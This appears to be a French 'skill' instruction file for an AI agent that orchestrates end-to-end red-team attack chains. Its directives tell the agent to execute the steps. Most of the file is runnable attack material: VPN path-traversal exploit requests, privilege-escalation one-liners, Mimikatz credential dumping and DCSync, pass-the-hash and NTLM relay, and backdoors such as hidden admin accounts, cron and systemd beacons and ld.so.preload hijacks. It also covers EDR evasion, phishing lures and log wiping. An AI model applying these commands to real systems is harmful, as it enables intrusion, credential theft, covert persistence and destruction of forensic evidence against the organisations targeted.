Compétence d'Orchestration de Chaîne d'Attaque
ACTION REQUISE (À EXÉCUTER IMMÉDIATEMENT APRÈS LECTURE)
MAINTENANT: Lire../field-journal/precedent-pentest.md— confirmer que l'opération de cette compétence est une opération régulière autoriséeMAINTENANT: Créer/Mettre à jour le cas (../scripts/case-init.ps1) et remplirscope.md(../ops/scope-contract.md) ;auth.status!=grantedinterdit toute ACTIONMAINTENANT: En tant que lead, planifier les phases (../ops/role-map.md) et écrire dans specialist_rolesSUIVANT: Lire../tool-index.mdet vérifier la disponibilité des outils et leurs chemins réelsSUIVANT: Si un outil manque, appeler bootstrap, ne pas deviner le cheminACTION: Passer les portes de phase selonreferences/lifecycle-checklist.md; mettre à jourtimeline.md+workitems.md(../ops/timeline-workitem.md) à chaque phase ; promouvoir en Preuve/Constatation- Fin : Le rapport
docs-generatorDOIT contenir la chaîne de Preuve
Chef d'orchestre pour la planification et l'exécution de chemins d'attaque multi-phases. Lorsqu'une tâche nécessite une chaîne complète "de A à B", cette compétence est responsable de l'orchestration des phases, de la coordination des sous-compétences et de la planification du chemin d'attaque. Ce n'est pas "exclusif aux équipes rouges" — tout scénario de pénétration nécessitant une combinaison inter-phases commence ici.
Quand Router vers cette Compétence
Les scénarios suivants doivent d'abord passer par cette compétence pour une planification complète de la chaîne, avant d'être distribués aux sous-compétences spécifiques pour exécution :
| Scénario | Pourquoi l'orchestration est nécessaire |
|---|---|
| "Fais-moi un test de pénétration complet" | Nécessite une planification de bout en bout, de la collecte d'informations au rapport |
| "Du réseau externe jusqu'au contrôleur de domaine" | Traverse plusieurs phases : brèche de périmètre → élévation de privilèges → latéral → AD |
| "Exercice de défense/attaque HW" | Nécessite une chaîne d'attaque complète + furtivité + nettoyage des traces |
| "Évaluer la surface d'attaque de cette cible" | Nécessite une collecte d'informations multidimensionnelle + planification de chemin |
| "J'ai un webshell, que faire ensuite ?" | Nécessite une planification du chemin ultérieur à partir de la position actuelle |
| "Aide-moi à planifier un chemin d'attaque" | Demande explicite d'orchestration de chemin |
| "Jusqu'où peut-on aller avec cette vulnérabilité ?" | Nécessite une évaluation de la valeur d'exploitation en chaîne |
| "Surveillance continue Bug Bounty" | Nécessite un processus multi-phases automatisé |
| "Processus complet de pénétration réseau interne" | Combinaison de mouvement latéral + élévation de privilèges + attaque de domaine |
| "Plan de pénétration d'accès physique" | Combinaison d'accès physique + pénétration réseau interne |
| "Chemin d'attaque de la chaîne d'approvisionnement" | Attaque multi-sauts inter-organisations |
| "Phishing + post-exploitation" | Combinaison d'accès initial + exploitation ultérieure |
Les tâches mono-étape n'ont pas besoin de passer par cette compétence :
- Seulement un scan de ports → aller directement à
pentest-tools/ - Seulement une injection SQL → aller directement à
pentest-tools/ - Seulement du rétro-ingénierie APK → aller directement à
apk-reverse/ - Seulement de la pénétration de domaine → aller directement à
windows-ad/SKILL.md
Principes d'Orchestration
Rôle de cette Compétence
L'utilisateur propose une tâche multi-phases
↓
attack-chain/SKILL.md (ce fichier)
↓ Planifier le chemin d'attaque, déterminer l'ordre des phases
↓ Évaluer les outils et méthodes nécessaires pour chaque phase
↓
Distribuer aux sous-compétences spécifiques pour exécution :
├── pentest-tools/ → Appel d'outils, exploitation de vulnérabilités
├── apk-reverse/ → Pénétration mobile
├── js-reverse/ → Brèche Web front-end
├── reverse-engineering/ → Analyse binaire
├── ida-reverse/ → Rétro-ingénierie approfondie
└── browser-automation/ → Automatisation d'opérations
↓
Après chaque phase, retour à cette compétence pour évaluer l'étape suivante
↓
Tout terminé → docs-generator génère le rapport
Arbre de Décision pour la Planification de Chemin
Après avoir obtenu la cible :
1. Quelle est la cible ? (Web/réseau interne/cloud/mobile/IoT)
2. Qu'avons-nous actuellement ? (Perspective externe/identifiants existants/position existante)
3. Quel est l'objectif final ? (Contrôleur de domaine/données/système spécifique/prouver l'impact)
4. Contraintes ? (Temps/furtivité/systèmes intouchables)
↓
Planifier le chemin le plus court en fonction des informations ci-dessus
↓
Si un chemin ne fonctionne pas → retour à cette compétence pour replanifier un chemin alternatif
Phases de la Chaîne d'Attaque Complète
I. Phase de Collecte d'Informations (Reconnaissance)
1.1 Cartographie des Actifs Numériques de l'Entreprise
# Découverte de sous-domaines de filiales
subfinder -d target.com -o subdomains.txt
amass enum -d target.com -passive -o amass_results.txt
# Fusion et déduplication
cat subdomains.txt amass_results.txt | sort -u > all_subs.txt
# Détection de services vivants
httpx -l all_subs.txt -status-code -title -tech-detect -o alive.txt
# Scan de ports (tous les ports)
naabu -l all_subs.txt -top-ports 1000 -o ports.txt
nmap -sV -sC -iL targets.txt -oA nmap_results
Points clés pratiques :
- Utiliser Qichacha/Tianyancha pour obtenir la liste des filiales et élargir la surface d'attaque
- Surveiller les environnements de test (test., dev., staging.) et les systèmes nouvellement mis en ligne
- Les journaux de transparence des certificats (crt.sh) permettent de découvrir des noms de domaine cachés
1.2 Chasse aux Fuites d'Informations Sensibles
# Recherche GitHub
# org:Company filename:.env password
# org:Company filename:config.yml secret
# org:Company "jdbc:mysql" password
# Google Dork
# site:target.com filetype:sql
# site:target.com inurl:admin
# site:target.com ext:conf|cfg|ini
# Clés API dans les fichiers JS
cat js_urls.txt | while read url; do
curl -s "$url" | grep -oP '(api[_-]?key|secret|token|password)\s*[:=]\s*["\047][^"\047]+'
done
Cibles à haute valeur :
- AK/SK de services cloud (Alibaba Cloud, AWS, Azure)
- Chaînes de connexion de bases de données
- Clés JWT
- Documentation API interne
- Identifiants VPN/passerelle bastion
1.3 Profilage des Informations sur les Employés
Règles de génération de dictionnaire pour l'ingénierie sociale :
{PrénomNom en pinyin}{Année} → zhangsan2024
{Initiales du prénom et du nom}{Abréviation du département} → zs_dev
{Numéro d'employé}@{Domaine} → [email protected]
{PrénomNom}{Suffixe courant} → zhangsan@123, zhangsan!@#
Sources d'informations :
- Structure des départements sur Maigai/LinkedIn
- Présentation des équipes sur les comptes officiels/sites Web de l'entreprise
- Informations de recrutement (exposition de la pile technologique)
- Articles académiques (exposition des adresses e-mail)
1.4 Identification de l'Empreinte de la Pile Technologique
# Empreinte Web
whatweb -i alive.txt --log-json=fingerprint.json
httpx -l alive.txt -tech-detect -json -o tech.json
# Détection de frameworks spécifiques
nuclei -l alive.txt -tags tech -severity info -o tech_results.txt
# Identification CMS
wpscan --url https://target.com --enumerate p,t,u
II. Phase de Brèche de Périmètre (Initial Access)
2.1 Exploitation de Vulnérabilités Web (Points de Brèche Fréquents)
| Type de Vulnérabilité | Outil de Détection | Méthode d'Exploitation |
|---|---|---|
| Injection SQL | sqlmap | Extraction de données → Écriture de shell → Commandes OS |
| SSTI | sstimap | Injection de template → RCE |
| Téléchargement de fichier | Manuel + Burp | Webshell → Reverse shell |
| Dé-sérialisation | ysoserial/marshalsec | RCE Java/PHP/Python |
| SSRF | Manuel | Détection réseau interne → Métadonnées cloud → AK/SK |
| Accès non autorisé | nuclei | Spring Actuator / Nacos / Redis |
| XSS → Cookie | xsstrike | Détournement de session administrateur |
# Automatisation d'injection SQL
sqlmap -u "https://target.com/api?id=1" --batch --dbs --random-agent
# Détection SSTI
sstimap -u "https://target.com/search?q=test"
# Scan de masse avec Nuclei
nuclei -l alive.txt -severity critical,high -tags cve,sqli,rce -o vulns.txt
2.2 Attaque de la Chaîne d'Approvisionnement
Chemin d'attaque :
- Identifier les composants tiers/prestataires de services utilisés par la cible
- Attaquer le fournisseur pour obtenir les droits de signature de code/de mise à jour
- Distribuer une charge malveillante via le canal de mise à jour légitime
Points d'entrée courants :
- Empoisonnement de composants open source (npm/pip/maven)
- Abus d'API de prestataires SaaS
- Exploitation des permissions du personnel externalisé
- Pénétration latérale via les prestataires de services IT partagés
2.3 Attaque par Phishing
Phishing par e-mail :
Modèles d'objet :
- [Urgent] Votre certificat VPN expire bientôt, veuillez le mettre à jour immédiatement
- [Avis IT] Espace de stockage de la messagerie insuffisant, veuillez le nettoyer
- [RH] Résultats de l'évaluation de performance 2024 à consulter
- [Finances] Mise à jour du système de remboursement, veuillez vous reconnecter pour confirmer
Types de charge utile :
- Documents Office avec macros (.docm/.xlsm)
- Raccourcis LNK (déguisés en PDF)
- Contrebande HTML (HTML Smuggling)
- Images ISO/IMG (contournement de MOTW)
- Scripts intégrés OneNote
Phishing OAuth (nouvelle tendance 2025) :
- Construire une application OAuth malveillante demandant des autorisations
- Une fois l'utilisateur autorisé, obtenir l'accès à la messagerie/aux fichiers
- Sans mot de passe, contournement de la MFA
2.4 Pénétration d'Accès Physique (Physical Access)
| Technique | Outil | Effet |
|---|---|---|
| BadUSB | Rubber Ducky / WiFi Ducky | Injection clavier → Reverse shell |
| Chargeur malveillant | O.MG Cable | Câble déguisé pour implanter une backdoor |
| Phishing WiFi | Fluxion / WiFi Pineapple | Point d'accès contrefait → Capture d'identifiants |
| Clonage RFID | Proxmark3 | Copie de badge d'accès → Entrée physique |
| Implantation réseau | Raspberry Pi / LAN Turtle | Point d'accès persistant au réseau interne |
# Fluxion WiFi Phishing
fluxion # Sélection interactive de l'AP cible → Création d'un point d'accès contrefait → Capture du mot de passe WPA
# BadUSB combiné à Cobalt Strike
# Injection d'un téléchargeur PowerShell via USB → Connexion au C2
2.5 Brèche VPN/Accès à Distance
# Pulse Secure VPN (CVE-2019-11510)
curl -k "https://vpn.target.com/dana-na/../dana/html5acc/guacamole/../../../etc/passwd?/dana/html5acc/guacamole/"
# Fortinet VPN (CVE-2018-13379)
curl -k "https://vpn.target.com/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
# Général : Pulvérisation de mots de passe
hydra -L users.txt -P passwords.txt vpn.target.com https-form-post
2.6 Brèche de Services Cloud
# Énumération de buckets AWS S3
aws s3 ls s3://target-bucket --no-sign-request
# SSRF vers métadonnées cloud
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Pulvérisation de mots de passe Azure AD
# Utiliser les outils MSOLSpray / Spray
III. Phase d'Élévation de Privilèges (Privilege Escalation)
3.1 Élévation de Privilèges sous Windows
| Technique | Condition | Outil |
|---|---|---|
| Série Potato | Permission SeImpersonate | SweetPotato / GodPotato / PrintSpoofer |
| Vulnérabilité noyau | Pas de correctif | watson / wesng pour détection |
| Détournement de chemin de service | Chemin de service non entre guillemets | PowerUp |
| Détournement DLL | Chemin de recherche DLL inscriptible | Process Monitor |
| AlwaysInstallElevated | Configuration du registre | msiexec pour installer un MSI malveillant |
| Tâche planifiée | Script de tâche inscriptible | schtasks pour remplacement |
# Détection de SeImpersonate
whoami /priv | findstr "SeImpersonate"
# Élévation avec Potato
.\GodPotato.exe -cmd "cmd /c whoami"
# Détection automatisée
.\winPEAS.exe
3.2 Élévation de Privilèges sous Linux
# Détection SUID
find / -perm -4000 -type f 2>/dev/null
# Abus de sudo
sudo -l
# Exploitables couramment : vim, find, python, nmap, less, awk, perl
# Élévation avec sudo vim
sudo vim -c ':!/bin/bash'
# Élévation avec sudo find
sudo find / -exec /bin/bash \;
# Vulnérabilités noyau
uname -r # Vérifier la version
# DirtyPipe (CVE-2022-0847), DirtyCow (CVE-2016-5195)
# Détection automatisée
./linpeas.sh
3.3 Élévation de Privilèges via Base de Données
-- MSSQL xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
-- MySQL UDF
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('id');
-- PostgreSQL
COPY (SELECT '') TO PROGRAM 'id';
3.4 Élévation de Privilèges dans le Cloud
# Énumération IAM AWS
aws iam list-attached-user-policies --user-name compromised-user
# Chercher iam:PassRole + lambda:CreateFunction → Droits administrateur
# Azure AD
# Administrateur général → Contrôle de tous les abonnements
# Administrateur d'application → Ajout d'identifiants au principal de service
IV. Phase de Mouvement Latéral (Lateral Movement)
4.1 Obtention d'Identifiants
# Mimikatz (Windows)
mimikatz# sekurlsa::logonpasswords
mimikatz# lsadump::dcsync /domain:target.local /user:krbtgt
# Identifiants Linux
cat /etc/shadow
cat ~/.bash_history | grep -i pass
find / -name "*.conf" -exec grep -l "password" {} \;
# Extraction de hachage NTLM
secretsdump.py domain/user:password@dc_ip
4.2 Pass-the-Hash / Pass-the-Ticket
# PTH latéral
crackmapexec smb 10.0.0.0/24 -u administrator -H <NTLM_HASH> --exec-method smbexec
# Kerberoasting
GetUserSPNs.py -request -dc-ip 10.0.0.1 domain/user:password
# AS-REP Roasting
GetNPUsers.py domain/ -usersfile users.txt -no-pass -dc-ip 10.0.0.1
# Golden Ticket
mimikatz# kerberos::golden /user:Administrator /domain:target.local /sid:S-1-5-21-... /krbtgt:<HASH> /ptt
4.3 Techniques de Mouvement Latéral Furtif
# Exécution sans fichier via WMI
wmiexec.py domain/admin:password@target_ip "whoami"
# Exécution à distance via DCOM
dcomexec.py domain/admin:password@target_ip "whoami"
# WinRM
evil-winrm -i target_ip -u admin -H <NTLM_HASH>
# PsExec (laisse des traces)
psexec.py domain/admin:password@target_ip
# Tunnel SSH (environnement Linux)
ssh -D 1080 user@pivot_host # Proxy SOCKS
ssh -L 3389:internal_host:3389 user@pivot_host # Redirection de port
4.4 Relais NTLM
# Désactiver SMB/HTTP de Responder
# Éditer Responder.conf : SMB = Off, HTTP = Off
# Lancer Responder pour capturer
responder -I eth0
# Relais NTLM vers la cible
ntlmrelayx.py -tf targets.txt -smb2support
# Authentification forcée avec Coercer
coercer coerce -u user -p password -d domain -l attacker_ip -t dc_ip
4.5 Chemins d'Attaque AD
# Collecte de données BloodHound
bloodhound-python -d domain.local -u user -p password -c All -ns dc_ip
# Chemins d'attaque courants :
# 1. Utilisateur → GenericAll → Utilisateur cible → Réinitialisation de mot de passe
# 2. Utilisateur → WriteDacl → OU cible → Ajout de permissions
# 3. Ordinateur → Délégation contrainte → Usurpation de tout utilisateur
# 4. Utilisateur → Permission DCSync → Export de tous les hachages
# Attaque Certipy AD CS
certipy find -u user@domain -p password -dc-ip dc_ip
certipy req -u user@domain -p password -ca CA-NAME -template VulnTemplate
V. Phase de Maintien de l'Accès (Persistence)
5.1 Persistance sous Windows
| Technique | Furtivité | Difficulté de Détection |
|---|---|---|
| Tâche planifiée | Moyenne | Faible |
| Clé de registre Run | Faible | Faible |
| Abonnement à un événement WMI | Élevée | Élevée |
| Détournement DLL | Élevée | Moyenne |
| Compte fantôme | Moyenne | Moyenne |
| Golden Ticket | Très élevée | Très élevée |
| Backdoor DSRM | Très élevée | Très élevée |
# Abonnement à un événement WMI (haute furtivité)
$Filter = Set-WmiInstance -Class __EventFilter -Arguments @{
Name = "CoreFilter"
EventNameSpace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
# Compte fantôme
net user support$ P@ssw0rd /add /active:yes
net localgroup administrators support$ /add
# Modifier la valeur F du registre pour cloner le RID
5.2 Persistance sous Linux
# Implantation de clé SSH
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
# Backdoor Crontab
(crontab -l; echo "*/5 * * * * /tmp/.hidden/beacon") | crontab -
# Détournement LD_PRELOAD
echo "/tmp/.hidden/evil.so" > /etc/ld.so.preload
# Backdoor PAM
# Modifier pam_unix.so pour ajouter un mot de passe universel
# Service Systemd
cat > /etc/systemd/system/update.service << 'EOF'
[Unit]
Description=Service de mise à jour système
[Service]
ExecStart=/tmp/.hidden/beacon
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable update.service
5.3 Persistance dans le Cloud
# Backdoor Lambda AWS
# Créer une fonction Lambda déclenchée périodiquement, se reconnectant au C2
# Enregistrement d'application Azure AD
# Créer une application → Ajouter des identifiants de clé → Accorder les permissions API Graph
# Backdoor de conteneur
# Modifier l'image de base → Tous les nouveaux conteneurs auront une backdoor intégrée
VI. Contournement d'EDR/AV (Evasion)
6.1 Idées Centrales de Contournement
| Niveau | Technique | Explication |
|---|---|---|
| Détection statique | Chiffrement/obfuscation/chargeur personnalisé | Éviter la correspondance de signature |
| Détection comportementale | Appel système indirect / Unhooking | Contourner les hooks API |
| Détection mémoire | Piétinement de module / Chiffrement de tas | Éviter l'analyse mémoire |
| Détection réseau | Préfixe de domaine / Tunnel via service légitime | Se fondre dans le trafic normal |
| Détection de logs | Patching ETW / Suppression de logs | Réduire les traces |
6.2 Techniques de Contournement Pratiques
1. Chargeur de shellcode personnalisé (ne pas utiliser d'outils publics)
2. Appel système direct (contourner le hook ntdll)
3. Injection de processus ciblant des processus faiblement surveillés (ex. RuntimeBroker.exe)
4. Trafic C2 via HTTPS + Préfixe de domaine / Cloudflare Workers
5. Exécution en mémoire, sans écriture sur disque (Fileless)
6. Utilisation de programmes signés légitimes pour le chargement (LOLBins)
6.3 Choix du Framework C2
| Framework | Caractéristiques | Cas d'usage |
|---|---|---|
| Cobalt Strike | Mature, stable, collaboration en équipe | Opérations d'équipe rouge de grande envergure |
| Sliver | Open source, écrit en Go | Budget limité |
| Havoc | Moderne, modulaire | Personnalisation nécessaire |
| Mythic | Support multi-agent | Multi-plateforme |
| AdaptixC2 | Inclus dans Kali 2026.1 | Déploiement rapide |
VII. Nettoyage des Traces (Anti-Forensics)
# Suppression des logs Windows
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
# Suppression des logs Linux
echo > /var/log/auth.log
echo > /var/log/syslog
history -c && history -w
# Modification des horodatages
touch -t 202301010000 /path/to/file
# Nettoyage mémoire
# S'assurer que le dump Mimikatz a été supprimé
# S'assurer que le beacon C2 a été quitté
# S'assurer que les fichiers temporaires ont été effacés
Règles d'Or de l'Équipe Rouge
Trois Lignes Rouges
- Toutes les opérations doivent être autorisées par écrit
- Les données exfiltrées doivent être anonymisées
- Nettoyer toutes les traces d'attaque (y compris la résidence mémoire)
Discipline Opérationnelle
- Évaluer le niveau de risque avant chaque opération (Faible/Moyen/Élevé/Critique)
- Notifier le chef de projet avant les opérations à haut risque
- Tenir un journal des opérations (heure, action, résultat)
- Signaler immédiatement les vulnérabilités critiques, ne pas étendre leur exploitation
- Ne pas affecter la disponibilité du service (interdire les DoS)
- Ne pas accéder/télécharger les données réelles des utilisateurs
Cas d'Échec Typiques
| Cause d'échec | Conséquence | Leçon |
|---|---|---|
| Nettoyage oublié du dump mémoire Mimikatz | L'équipe bleue retrace le chemin d'attaque complet | Nettoyer immédiatement après l'opération |
| Domaine C2 marqué par le renseignement sur les menaces | Interception dès la première connexion | Utiliser un domaine nouvellement enregistré + préfixe de domaine |
| E-mail de phishing déclenchant une alerte DLP | L'équipe bleue est alertée en avance | Tester les règles de la passerelle e-mail |
| Mouvement latéral déclenchant un honeypot | Exposition de l'intention d'attaque | Identifier les honeypots avant d'agir |
Tableau de Référence Rapide des Outils
Collecte d'Informations
subfinder amass httpx naabu katana gau dnsx nmap whatweb wpscan
Exploitation de Vulnérabilités
nuclei sqlmap sstimap xsstrike burpsuite metasploit
Élévation de Privilèges
winPEAS linpeas GodPotato PrintSpoofer watson
Mouvement Latéral
mimikatz crackmapexec/netexec impacket bloodhound certipy coercer responder evil-winrm
Frameworks C2
cobalt-strike sliver havoc mythic adaptixc2
Pénétration d'Accès Physique
fluxion aircrack-ng proxmark3 rubber-ducky wifi-pineapple
Relations avec les Autres Compétences du Paquet
| Besoin | Router vers |
|---|---|
| Exploitation approfondie de vulnérabilités Web | pentest-tools/SKILL.md |
| Étapes détaillées d'attaque AD du réseau interne | windows-ad/SKILL.md |
| Analyse de rétro-ingénierie d'échantillons malveillants | reverse-engineering/SKILL.md |
| Rétro-ingénierie APK (pénétration mobile) | apk-reverse/SKILL.md |
| Contournement de signature JS front-end | js-reverse/SKILL.md |
| Pénétration de masse automatisée | Pentest Swarm AI (pentestswarm scan --swarm) |
| Pénétration assistée par IA | mcp-kali-server / metasploitmcp / hexstrike-ai |
| Génération de rapport | docs-generator/SKILL.md |
| Diagramme de chemin d'attaque | diagram-generator/SKILL.md |
Auto-vérification d'Achèvement de Tâche (DOIT Passer Avant de Déclarer Terminé)
- Ai-je exécuté chaque étape du flux de travail (et pas seulement lu) ?
- Ai-je utilisé les chemins d'outils réels basés sur
tool-index? - Ai-je produit des preuves reproductibles (commandes/scripts/captures d'écran/rapports) ?
- Ai-je terminé et renseigné les éléments de la Checklist requis par RULES ?